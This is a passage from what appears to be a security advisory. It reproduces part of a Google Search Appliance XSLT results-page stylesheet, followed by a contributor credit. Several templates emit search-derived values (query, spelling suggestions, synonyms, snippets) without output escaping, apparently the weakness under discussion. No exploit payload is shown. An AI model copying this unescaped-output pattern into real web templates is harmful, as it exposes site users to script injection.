         <xsl:with-param name="next" select="RES/NB/NU"/ >
         <xsl:with-param name="view_begin" select="RES/@SN"/ >
         <xsl:with-param name="view_end" select="RES/@EN"/ >
         <xsl:with-param name="guess" select="RES/M"/ >
         <xsl:with-param name="navigation_style" select="'top'"/ >
        </xsl:call-template >
       </td >
      </xsl:if >
      <xsl:if test="$show_sort_by != '0'" >
      <td align="right" >
       <xsl:call-template name="sort_by"/ >
      </td >
      </xsl:if >
     </tr >
     </table >

     <!-- ** Handle spelling suggestions, if any ** -- >
      <xsl:if test="$show_spelling != '0'" >
       <xsl:call-template name="spelling"/ >
      </xsl:if >

     <!-- ** Handle synonyms, if any ** -- >
      <xsl:if test="$show_synonyms != '0'" >
       <xsl:call-template name="synonyms"/ >
      </xsl:if >

     <!-- ** Output results details ** -- >
      <div >
      <!-- for keymatch results -- >
      <xsl:if test="$show_keymatch != '0'" >
       <xsl:apply-templates select="/GSP/GM"/ >
      </xsl:if >
     
      <!-- for real results -- >
      <xsl:apply-templates select="RES/R" >
       <xsl:with-param name="query" select="$query"/ >
      </xsl:apply-templates >

     <!-- ** Filter note (if needed) ** -- >
      <xsl:if test="(RES/FI) and (not(RES/NB/NU))" >
       <p >
        <i >
        In order to show you the most relevant results, we have omitted
        some entries very similar to the <xsl:value-of select="RES/@EN"/ >
        already displayed.
        <br/ >If you like, you can <a href="{$filter_url}0" >
         repeat the search with the omitted results included</a >.
        </i >
       </p >
      </xsl:if >
      </div >

     <!-- ** Add bottom navigation ** -- >
      <xsl:variable name="nav_style" >
       <xsl:choose >
        <xsl:when test="($access='s') or ($access='a')" >simple</xsl:when >
        <xsl:otherwise >
         <xsl:value-of select="$choose_bottom_navigation"/ >
        </xsl:otherwise >
       </xsl:choose >
      </xsl:variable >

      <xsl:call-template name="google_navigation" >
       <xsl:with-param name="prev" select="RES/NB/PU"/ >
       <xsl:with-param name="next" select="RES/NB/NU"/ >
       <xsl:with-param name="view_begin" select="RES/@SN"/ >
       <xsl:with-param name="view_end" select="RES/@EN"/ >
       <xsl:with-param name="guess" select="RES/M"/ >
       <xsl:with-param name="navigation_style" select="$nav_style"/ >
      </xsl:call-template >

     <!-- ** Bottom search box ** -- >
      <xsl:if test="$show_bottom_search_box != '0'" >
       <xsl:call-template name="bottom_search_box"/ >
      </xsl:if >

    < /xsl:template >

    < !-- ***********************************
     Stopwords suggestions in result page (do not customize)
       *********************************** -- >
    < xsl:template name="stopwords" >
     <xsl:variable name="stopwords_suggestions1" >
      <xsl:call-template name="replace_string" >
       <xsl:with-param name="find" select="'/help/basics.html#stopwords'"/ >
       <xsl:with-param name="replace" select="'basics.html#stopwords'"/ >
       <xsl:with-param name="string" select="/GSP/CT"/ >
      </xsl:call-template >
     </xsl:variable >

     <xsl:variable name="stopwords_suggestions" >
      <xsl:call-template name="replace_string" >
       <xsl:with-param name="find" select="'/help/basics.html'"/ >
       <xsl:with-param name="replace" select="'basics.html'"/ >
       <xsl:with-param name="string" select="$stopwords_suggestions1"/ >
      </xsl:call-template >
     </xsl:variable >

     <xsl:if test="/GSP/CT" >
      <font size="-1" color="gray" >
       <xsl:value-of disable-output-escaping="yes"
        select="$stopwords_suggestions"/ >
      </font >
     </xsl:if >
    < /xsl:template >

    < !-- ***********************************
     Spelling suggestions in result page (do not customize)
       *********************************** -- >
    < xsl:template name="spelling" >
     <xsl:if test="/GSP/Spelling/Suggestion" >
      <p ><span class="p" ><font color="{$spelling_text_color}" >
         <xsl:value-of select="$spelling_text"/ >
         <xsl:call-template name="nbsp"/ >
        </font ></span >
        <a
    href="/search?q={/GSP/Spelling/Suggestion[1]/@q}&spell=1&{$base_url}" >
        <xsl:value-of disable-output-escaping="yes"
         select="/GSP/Spelling/Suggestion[1]"/ >
       </a >
      </p >
     </xsl:if >
    < /xsl:template >

    < !-- ***********************************
     Synonym suggestions in result page (do not customize)
       *********************************** -- >
    < xsl:template name="synonyms" >
     <xsl:if test="/GSP/Synonyms/OneSynonym" >
      <p ><span class="p" ><font color="{$synonyms_text_color}" >
         <xsl:value-of select="$synonyms_text"/ >
         <xsl:call-template name="nbsp"/ >
        </font ></span >
      <xsl:for-each select="/GSP/Synonyms/OneSynonym" >
       <a href="/search?q={@q}&{$synonym_url}" >
        <xsl:value-of disable-output-escaping="yes" select="."/ >
       </a ><xsl:text > </xsl:text >
      </xsl:for-each >
      </p >
     </xsl:if >
    < /xsl:template >

    < !-- ***********************************
     A single result (do not customize)
       *********************************** -- >
    < xsl:template match="R" >
     <xsl:param name="query"/ >
     <xsl:variable name="stripped_url" select="substring-after(U, '://')"/ >
     <xsl:variable name="full_url" select="UE"/ >
     <xsl:variable name="crowded_url" select="HN/@U"/ >
     <xsl:variable name="crowded_display_url" select="HN"/ >
     <xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/ >
     <xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/ >

     <!-- ** Indent as required (only supports 2 levels) ** -- >
     <xsl:if test="@L='2'" ><xsl:text
      disable-output-escaping="yes" ><blockquote></xsl:text ></xsl:if >

     <!-- ** Result Header ** -- >
     <p >

     <!-- ** Result Title (including PDF tag and hyperlink) ** -- >
     <xsl:if test="$show_res_title != '0'" >
      <font size="-2" ><b >
      <xsl:choose >
       <xsl:when test="@MIME='text/html' or @MIME='' or not(@MIME)"
    ></xsl:when >
       <xsl:when test="@MIME='text/plain'" >[TEXT]</xsl:when >
       <xsl:when test="@MIME='application/rtf'" >[RTF]</xsl:when >
       <xsl:when test="@MIME='application/pdf'" >[PDF]</xsl:when >
       <xsl:when test="@MIME='application/postscript'" >[PS]</xsl:when >
       <xsl:when
        test="@MIME='application/vnd.ms-powerpoint'" >[MS
    POWERPOINT]</xsl:when >
       <xsl:when test="@MIME='application/vnd.ms-excel'" >[MS EXCEL]</xsl:when
    >
       <xsl:when test="@MIME='application/msword'" >[MS WORD]</xsl:when >
       <xsl:otherwise >
        <xsl:variable name="extension" >
         <xsl:call-template name="last_substring_after" >
          <xsl:with-param name="string" select="substring-after(
                             substring-after(U,'://'),
                             '/')"/ >
          <xsl:with-param name="separator" select="'.'"/ >
          <xsl:with-param name="fallback" select="'UNKNOWN'"/ >
         </xsl:call-template >
        </xsl:variable >
        [<xsl:value-of select="translate($extension,$lower,$upper)"/ >]
       </xsl:otherwise >
      </xsl:choose >
      </b ></font >
      <xsl:text > </xsl:text >

      <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
       <xsl:text disable-output-escaping='yes' ><a href="</xsl:text
    ><xsl:value-of disable-output-escaping='yes' select="U"
       / ><xsl:text disable-output-escaping='yes' >"></xsl:text >
      </xsl:if >
      <span class="l" >
      <xsl:choose >
       <xsl:when test="T" >
        <xsl:call-template name="reformat_keyword" >
         <xsl:with-param name="orig_string" select="T"/ >
        </xsl:call-template >
       </xsl:when >
       <xsl:otherwise ><xsl:value-of select="$stripped_url"/ ></xsl:otherwise
    >
      </xsl:choose >
      </span >
      <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
        <xsl:text disable-output-escaping='yes' ></a></xsl:text >
      </xsl:if >
     </xsl:if >
      
     <!-- ** Snippet ** -- >
     <xsl:if test="$show_res_snippet != '0'" >
      <br/ >
      <span class="s" >
       <xsl:call-template name="reformat_keyword" >
        <xsl:with-param name="orig_string" select="S"/ >
       </xsl:call-template >
      </span >
     </xsl:if >

     <!-- ** Description ** -- >
     <xsl:if test="$show_res_description != '0'" >
      <xsl:apply-templates select="HAS/DI/DS"/ >
     </xsl:if >

     <!-- ** URL ** -- >
      <br/ >
      <font color="{$res_url_color}" size="{$res_url_size}" >
       <xsl:choose >
        <xsl:when test="starts-with($stripped_url, 'noindex!/')" >
         <xsl:if test="($show_res_size!='0') or
                ($show_res_date!='0') or
                ($show_res_cache!='0')" >
          <xsl:text >Not Indexed: </xsl:text >
          <xsl:value-of select="substring($stripped_url, 10)"/ >
         </xsl:if >
     </xsl:when >
        <xsl:otherwise >
         <xsl:if test="$show_res_url != '0'" >
          <xsl:value-of select="$stripped_url"/ >
         </xsl:if >
        </xsl:otherwise >
       </xsl:choose >
      </font >

     <!-- ** Miscellaneous (- size - date - cache) ** -- >
      <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
       <xsl:apply-templates select="HAS/C" >
        <xsl:with-param name="full_url" select="$full_url"/ >
        <xsl:with-param name="query" select="$query"/ >
        <xsl:with-param name="mime" select="@MIME"/ >
        <xsl:with-param name="date" select="FS[@NAME='date']/@VALUE"/ >
       </xsl:apply-templates >
      </xsl:if >

     <!-- ** Link to more links from this site ** -- >
       <xsl:if test="HN" >
        <br/ >
        [
        <a class="f" href="/search?as_sitesearch={$crowded_url}&{
         $search_url}" >More results from <xsl:value-of
      select="$crowded_display_url"/ ></a >
        ]
       </xsl:if >

     <!-- ** Result Footer ** -- >
     </p >

     <!-- ** End indenting as required (only supports 2 levels) ** -- >
     <xsl:if test="@L='2'" ><xsl:text
      disable-output-escaping="yes" ></blockquote></xsl:text >
     </xsl:if >

    < /xsl:template >

    < !-- ***********************************
     A single keymatch result (do not customize)
       *********************************** -- >
    < xsl:template match="GM" >
     <p >
      <table cellpadding="4" cellspacing="0" border="0" height="40"
    width="100%" >
       <tr >
        <td nowrap="0" bgcolor="{$keymatch_bg_color}" height="40" >
         <a href="{GL}" >
          <xsl:value-of select="GD"/ >
         </a >
         <br/ >
         <font size="-1" color="{$res_url_color}" >
          <span class="a" >
            <xsl:value-of select="GL"/ >
          </span >
         </font >
        </td >
        <td bgcolor="{$keymatch_bg_color}" height="40"
         align="right" valign="top" >
      <b >
         <font size="-1" color="{$keymatch_text_color}" >
          <xsl:value-of select="$keymatch_text"/ >
         </font >
      </b >
        </td >
       </tr >
      </table >
     </p >
    < /xsl:template >

    < !-- ***********************************
     Variables for reformatting keyword-match display (do not customize)
       *********************************** -- >
    < xsl:variable name="keyword_orig_start" select="'<b>'"/ >
    < xsl:variable name="keyword_orig_end" select="'</b>'"/ >

    < xsl:variable name="keyword_reformat_start" >
     <xsl:if test="$res_keyword_format" >
      <xsl:text ><</xsl:text >
      <xsl:value-of select="$res_keyword_format"/ >
      <xsl:text >></xsl:text >
     </xsl:if >
     <xsl:if test="($res_keyword_size) or ($res_keyword_color)" >
     <xsl:text ><font</xsl:text >
     <xsl:if test="$res_keyword_size" >
      <xsl:text > size="</xsl:text >
      <xsl:value-of select="$res_keyword_size"/ >
      <xsl:text >"</xsl:text >
     </xsl:if >
     <xsl:if test="$res_keyword_color" >
      <xsl:text > color="</xsl:text >
      <xsl:value-of select="$res_keyword_color"/ >
      <xsl:text >"</xsl:text >
     </xsl:if >
     <xsl:text >></xsl:text >
     </xsl:if >
    < /xsl:variable >

    < xsl:variable name="keyword_reformat_end" >
     <xsl:if test="($res_keyword_size) or ($res_keyword_color)" >
      <xsl:text ></font></xsl:text >
     </xsl:if >
     <xsl:if test="$res_keyword_format" >
      <xsl:text ></</xsl:text >
      <xsl:value-of select="$res_keyword_format"/ >
      <xsl:text >></xsl:text >
     </xsl:if >
    < /xsl:variable >

    < !-- ***********************************
     Reformat the keyword match display in a title/snippet string
       (do not customize)
       *********************************** -- >
    < xsl:template name="reformat_keyword" >
     <xsl:param name="orig_string"/ >

     <xsl:variable name="reformatted_1" >
      <xsl:call-template name="replace_string" >
       <xsl:with-param name="find" select="$keyword_orig_start"/ >
       <xsl:with-param name="replace" select="$keyword_reformat_start"/ >
       <xsl:with-param name="string" select="$orig_string"/ >
      </xsl:call-template >
     </xsl:variable >

     <xsl:variable name="reformatted_2" >
      <xsl:call-template name="replace_string" >
       <xsl:with-param name="find" select="$keyword_orig_end"/ >
       <xsl:with-param name="replace" select="$keyword_reformat_end"/ >
       <xsl:with-param name="string" select="$reformatted_1"/ >
      </xsl:call-template >
     </xsl:variable >

     <xsl:value-of disable-output-escaping='yes' select="$reformatted_2"/ >

    < /xsl:template >

    < !-- ***********************************
     Helper templates for generating a result item (do not customize)
       *********************************** -- >

    < !-- ** Description ** -- >
    < xsl:template match="DS" >
      <br/ >
      <font size="-1" >
       <span class="f" >Description: </span ><xsl:value-of
        disable-output-escaping='yes' select="."/ >
      </font >
    < /xsl:template >

    < !-- ** Miscellaneous: - size - date - cache ** -- >
    < xsl:template match="C" >
      <xsl:param name="full_url"/ >
      <xsl:param name="query"/ >
      <xsl:param name="mime"/ >
      <xsl:param name="date"/ >

      <xsl:variable name="docid" ><xsl:value-of select="@CID"/ ></xsl:variable
    >

      <xsl:if test="$show_res_size != '0'" >
      <xsl:if test="not(@SZ='')" >
       <font size="-1" >
        <xsl:text > - </xsl:text >
        <xsl:value-of select="@SZ"/ >
       </font >
      </xsl:if >
      </xsl:if >

      <xsl:if test="$show_res_date != '0'" >
      <xsl:if test="($date != '') and
             (translate($date, '-', '') > 19500000) and
             (translate($date, '-', '') < 21000000)" >
       <font size="-1" >
        <xsl:text > - </xsl:text >
        <xsl:value-of select="$date"/ >
       </font >
      </xsl:if >
      </xsl:if >

      <xsl:if test="$show_res_cache != '0'" >
        <xsl:text > - </xsl:text >
        <a class="f" href="/search?q=cache:{$docid}{$full_url}+{
                  $stripped_search_query}&{$base_url}" >
         <xsl:choose >
          <xsl:when test="not($mime)" >Cached</xsl:when >
          <xsl:when test="$mime='text/html'" >Cached</xsl:when >
          <xsl:when test="$mime='text/plain'" >Cached</xsl:when >
          <xsl:otherwise >Text Version</xsl:otherwise >
         </xsl:choose >
        </a >
      </xsl:if >
      
    < /xsl:template >

    < !-- ***********************************
     Google navigation bar in result page (do not customize)
       *********************************** -- >
    < xsl:template name="google_navigation" >
      <xsl:param name="prev"/ >
      <xsl:param name="next"/ >
      <xsl:param name="view_begin"/ >
      <xsl:param name="view_end"/ >
      <xsl:param name="guess"/ >
      <xsl:param name="navigation_style"/ >

     <xsl:variable name="fontclass" >
      <xsl:choose >
       <xsl:when test="$navigation_style = 'top'" >s</xsl:when >
       <xsl:otherwise >b</xsl:otherwise >
      </xsl:choose >
     </xsl:variable >

     <!-- ** Test to see if we should even show navigation ** -- >
     <xsl:if test="($prev) or ($next)" >

     <!-- ** Start Google result navigation bar ** -- >

      <xsl:if test="$navigation_style != 'top'" >
       <xsl:text disable-output-escaping="yes" ><center>
        <div class="n"></xsl:text >
      </xsl:if >
      
      <table border="0" cellpadding="0" width="1%" cellspacing="0" >
       <tr align="center" valign="top" >
     <xsl:if test="$navigation_style != 'top'" >
        <td valign="bottom" nowrap="1" >
         <font size="-1" >
          Result<xsl:call-template name="nbsp"
             / >Page:<xsl:call-template name="nbsp"/ >
         </font >
        </td >
     </xsl:if >
        
     <!-- ** Show previous navigation, if available ** -- >
     <xsl:choose >
         <xsl:when test="$prev" >
          <td >
        <span class="{$fontclass}" >
           <a href="/search?{$search_url}&start={$view_begin -
               $num_results - 1}" >
         <xsl:if test="$navigation_style = 'google'" >
             <img src="/nav_previous.gif" width="68" height="26"
              alt="" border="0"/ >
             <br/ >
         </xsl:if >
            <xsl:if test="$navigation_style = 'top'" >
             <xsl:text ><</xsl:text >
            </xsl:if >
            <xsl:text >Previous</xsl:text >
           </a >
           </span >
           <xsl:if test="$navigation_style != 'google'" >
          <xsl:call-template name="nbsp"/ >
           </xsl:if >
          </td >
         </xsl:when >
         <xsl:otherwise >
          <td >
           <xsl:if test="$navigation_style = 'google'" >
            <img src="/nav_first.gif" width="18" height="26"
             alt="" border="0"/ >
            <br/ >
        </xsl:if >
          </td >
         </xsl:otherwise >
        </xsl:choose >

        <xsl:if test="($navigation_style = 'google') or
               ($navigation_style = 'link')" >
     <!-- ** Google result set navigation ** -- >
        <xsl:variable name="mod_end" >
         <xsl:choose >
          <xsl:when test="$next" ><xsl:value-of select="$guess"/ ></xsl:when >
          <xsl:otherwise ><xsl:value-of select="$view_end"/ ></xsl:otherwise >
         </xsl:choose >
        </xsl:variable >

        <xsl:call-template name="result_nav" >
         <xsl:with-param name="start" select="0"/ >
         <xsl:with-param name="end" select="$mod_end"/ >
         <xsl:with-param name="current_view" select="($view_begin)-1"/ >
         <xsl:with-param name="navigation_style" select="$navigation_style"/ >
        </xsl:call-template >
        </xsl:if >

     <!-- ** Show next navigation, if available ** -- >
        <xsl:choose >
         <xsl:when test="$next" >
          <td nowrap="1" >
           <xsl:if test="$navigation_style != 'google'" >
          <xsl:call-template name="nbsp"/ >
           </xsl:if >
           <span class="{$fontclass}" >
           <a href="/search?{$search_url}&start={$view_begin +
            $num_results - 1}" >
         <xsl:if test="$navigation_style = 'google'" >
             <img src="/nav_next.gif" width="100" height="26"
           alt="" border="0"/ >
             <br/ >
         </xsl:if >
            <xsl:text >Next</xsl:text >
            <xsl:if test="$navigation_style = 'top'" >
             <xsl:text >></xsl:text >
            </xsl:if >
           </a >
           </span >
          </td >
         </xsl:when >
         <xsl:otherwise >
          <td nowrap="1" >
           <xsl:if test="$navigation_style != 'google'" >
         <xsl:call-template name="nbsp"/ >
           </xsl:if >
           <xsl:if test="$navigation_style = 'google'" >
            <img src="/nav_last.gif" width="46" height="26"
          alt="" border="0"/ >
            <br/ >
        </xsl:if >
          </td >
         </xsl:otherwise >
        </xsl:choose >

     <!-- ** End Google result bar ** -- >
       </tr >
      </table >
      
      <xsl:if test="$navigation_style != 'top'" >
       <xsl:text disable-output-escaping="yes" ></div>
        </center></xsl:text >
      </xsl:if >
     </xsl:if >
    < /xsl:template >

    < !-- ***********************************
     Helper templates for generating Google result navigation (do not
    customize)
      only shows 10 sets up or down from current view
       *********************************** -- >
    < xsl:template name="result_nav" >
     <xsl:param name="start" select="'0'"/ >
     <xsl:param name="end"/ >
     <xsl:param name="current_view"/ >
     <xsl:param name="navigation_style"/ >

     <!-- ** Choose how to show this result set ** -- >
     <xsl:choose >
      <xsl:when test="($start)<(($current_view)-(10*($num_results)))" >
      </xsl:when >
      <xsl:when test="(($current_view)>=($start)) and
              (($current_view)<(($start)+($num_results)))" >
       <td >
        <xsl:if test="$navigation_style = 'google'" >
         <img src="/nav_current.gif" width="16" height="26" alt=""/ >
         <br/ >
        </xsl:if >
        <xsl:if test="$navigation_style = 'link'" >
      <xsl:call-template name="nbsp"/ >
        </xsl:if >
     <span class="i" ><xsl:value-of
         select="(($start)div($num_results))+1"/ ></span >
        <xsl:if test="$navigation_style = 'link'" >
      <xsl:call-template name="nbsp"/ >
        </xsl:if >
       </td >
      </xsl:when >
      <xsl:otherwise >
       <td >
        <xsl:if test="$navigation_style = 'link'" >
       <xsl:call-template name="nbsp"/ >
        </xsl:if >
        <a href="/search?{$search_url}&start={$start}" >
        <xsl:if test="$navigation_style = 'google'" >
         <img src="/nav_page.gif" width="16" height="26" alt="" border="0"/ >
         <br/ >
        </xsl:if >
        <xsl:value-of select="(($start)div($num_results))+1"/ >
        </a >
        <xsl:if test="$navigation_style = 'link'" >
      <xsl:call-template name="nbsp"/ >
        </xsl:if >
       </td >
      </xsl:otherwise >
     </xsl:choose >
     
     <!-- ** Recursively iterate through result sets to display ** -- >
     <xsl:if test="((($start)+($num_results))<($end)) and
            ((($start)+($num_results))<(($current_view)+
            (10*($num_results))))" >
      <xsl:call-template name="result_nav" >
       <xsl:with-param name="start" select="$start+$num_results"/ >
       <xsl:with-param name="end" select="$end"/ >
       <xsl:with-param name="current_view" select="$current_view"/ >
       <xsl:with-param name="navigation_style" select="$navigation_style"/ >
      </xsl:call-template >
     </xsl:if >

    < /xsl:template >

    < !-- ***********************************
     Top separation bar (do not customize)
       *********************************** -- >
    < xsl:template name="top_sep_bar" >
     <xsl:param name="query"/ >
     <xsl:param name="time"/ >

      <table width="100%" cellpadding="2" cellspacing="0" border="0" >
       <tr >
        <td class="t" nowrap="1" >
      <xsl:if test="$show_search_info != '0'" >
          <font size="-1" >
           Searched for
           <b ><font color="{$sep_bar_text_color}" >
            <xsl:value-of disable-output-escaping="yes"
            select="$html_escaped_query"/ ></font >
           </b >.
          </font >
         </xsl:if >
         <font size="-6" ><xsl:call-template name="nbsp"/ ></font >
        </td >

        <td class="t" align="right" nowrap="1" >
      <xsl:if test="$show_search_info != '0'" >
          <font size="-1" >
          <xsl:if test="count(/GSP/RES/R) >0 " >
           Results
           <b ><xsl:value-of select="RES/@SN"/ > - <xsl:value-of
              select="RES/@EN"/ ></b >
           <xsl:if test="$access = 'p'" >
            of about <b ><xsl:value-of select="RES/M"/ ></b >
           </xsl:if >.
          </xsl:if >
           Search took
           <b ><xsl:value-of
              select="round($time * 100.0) div 100.0"/ ></b > seconds.
          </font >
         </xsl:if >
        </td >
       </tr >
      </table >
      <hr class="z"/ >
    < /xsl:template >

    < !-- ***********************************
     Utility function for constructing copyright text (do not customize)
       *********************************** -- >
    < xsl:template name="copyright" >
     <center >
      <br/ ><br/ >
      <p >
      <font face="arial,sans-serif" size="-1" color="#2f2f2f" >
       Powered by Google</font >
      </p >
     </center >
    < /xsl:template >

    < !-- ***********************************
     Utility functions for generating html entities
       *********************************** -- >
    < xsl:template name="nbsp" >
     <xsl:text disable-output-escaping="yes" > </xsl:text >
    < /xsl:template >
    < xsl:template name="nbsp3" >
     <xsl:call-template name="nbsp"/ >
     <xsl:call-template name="nbsp"/ >
     <xsl:call-template name="nbsp"/ >
    < /xsl:template >
    < xsl:template name="nbsp4" >
     <xsl:call-template name="nbsp3"/ >
     <xsl:call-template name="nbsp"/ >
    < /xsl:template >
    < xsl:template name="quot" >
     <xsl:text disable-output-escaping="yes" >"</xsl:text >
    < /xsl:template >
    < xsl:template name="copy" >
     <xsl:text disable-output-escaping="yes" >&copy;</xsl:text >
    < /xsl:template >

    < !-- ***********************************
     Utility functions for generating head elements so that the XSLT processor
     won't add a meta tag to the output, since it may specify the wrong
     encoding (utf8) in the meta tag.
       *********************************** -- >
    < xsl:template name="plainHeadStart" >
     <xsl:text disable-output-escaping="yes" ><head></xsl:text >
     <xsl:text >
     </xsl:text >
    < /xsl:template >
    < xsl:template name="plainHeadEnd" >
     <xsl:text disable-output-escaping="yes" ></head></xsl:text >
     <xsl:text >
     </xsl:text >
    < /xsl:template >

    < !-- ***********************************
     Utility functions for generating head elements with a meta tag to the
    output
     specifying the character set as requested
       *********************************** -- >
    < xsl:template name="langHeadStart" >
     <xsl:text disable-output-escaping="yes" ><head></xsl:text >
     <xsl:choose >
      <xsl:when test="PARAM[(@name='oe') and (@value='utf8')]" >
       <meta http-equiv="content-type" content="text/html; charset=UTF-8"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='oe') and (@value!='')]" >
       <meta http-equiv="content-type" content="text/html;
    charset={PARAM[@name='oe']/@value}"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-CN')]" >
       <meta http-equiv="content-type" content="text/html; charset=GB2312"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-TW')]" >
       <meta http-equiv="content-type" content="text/html; charset=Big5"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-2"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-7"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-8-I"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-2"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]" >
       <meta http-equiv="content-type" content="text/html; charset=Shift_JIS"/
    >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]" >
       <meta http-equiv="content-type" content="text/html; charset=EUC-KR"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-2"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-2"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=windows-1251"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]" >
       <meta http-equiv="content-type" content="text/html;
    charset=ISO-8859-1"/ >
      </xsl:when >
      <xsl:otherwise >
       <meta http-equiv="content-type" content="text/html; charset="/ >
      </xsl:otherwise >
     </xsl:choose >
     <xsl:text >
     </xsl:text >
    < /xsl:template >

    < xsl:template name="langHeadEnd" >
     <xsl:text disable-output-escaping="yes" ></head></xsl:text >
     <xsl:text >
     </xsl:text >
    < /xsl:template >

    < !-- ***********************************
     Utility functions (do not customize)
       *********************************** -- >

    < !-- ** Find the substring after the last occurence of a separator ** --
    >
    < xsl:template name="last_substring_after" >

     <xsl:param name="string"/ >
     <xsl:param name="separator"/ >
     <xsl:param name="fallback"/ >

     <xsl:variable name="newString"
      select="substring-after($string, $separator)"/ >

     <xsl:choose >
      <xsl:when test="$newString!=''" >
       <xsl:call-template name="last_substring_after" >
        <xsl:with-param name="string" select="$newString"/ >
        <xsl:with-param name="separator" select="$separator"/ >
        <xsl:with-param name="fallback" select="$newString"/ >
       </xsl:call-template >
      </xsl:when >
      <xsl:otherwise >
       <xsl:value-of select="$fallback"/ >
      </xsl:otherwise >
     </xsl:choose >

    < /xsl:template >

    < !-- ** Find and replace ** -- >
    < xsl:template name="replace_string" >
     <xsl:param name="find"/ >
     <xsl:param name="replace"/ >
     <xsl:param name="string"/ >
     <xsl:choose >
      <xsl:when test="contains($string, $find)" >
       <xsl:value-of select="substring-before($string, $find)"/ >
       <xsl:value-of select="$replace"/ >
       <xsl:call-template name="replace_string" >
        <xsl:with-param name="find" select="$find"/ >
        <xsl:with-param name="replace" select="$replace"/ >
        <xsl:with-param name="string"
         select="substring-after($string, $find)"/ >
       </xsl:call-template >
      </xsl:when >
      <xsl:otherwise >
       <xsl:value-of select="$string"/ >
      </xsl:otherwise >
     </xsl:choose >
    < /xsl:template >

    < !-- ***********************************
     Display server error message
       *********************************** -- >
    < xsl:template name="server_error" >
     <html >
      <xsl:call-template name="plainHeadStart"/ >
       <title ><xsl:value-of select="error_page_title"/ ></title >
      <xsl:call-template name="plainHeadEnd"/ >
      <body >
       <xsl:copy-of select="descendant::*"/ >
      </body >
     </html >
    < /xsl:template >

    < !-- ***********************************
     Display other error message
       *********************************** -- >
    < xsl:template name="error_page" >
     <xsl:param name="errorMessage"/ >
     <xsl:param name="errorDescription"/ >
     <html >
      <xsl:call-template name="plainHeadStart"/ >
       <title >
        <xsl:value-of select="$error_page_title"/ >:
        <xsl:value-of select="$errorMessage"/ >
       </title >
      <xsl:call-template name="plainHeadEnd"/ >
      <body >
       <xsl:value-of select="$error_page_title"/ >:
       <xsl:value-of select="$errorMessage"/ ><br/ ><br/ >
       <xsl:value-of select="$errorDescription"/ ><br/ ><br/ >
       <xsl:text >

       </xsl:text >
       <xsl:copy-of select="/"/ >
      </body >
     </html >
    < /xsl:template >

    < !-- ***********************************
     Swallow unmatched elements
       *********************************** -- >
    < xsl:template match="@*|node()"/ >
    < /xsl:style*** >

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fdlist@digitaloffense.net> H
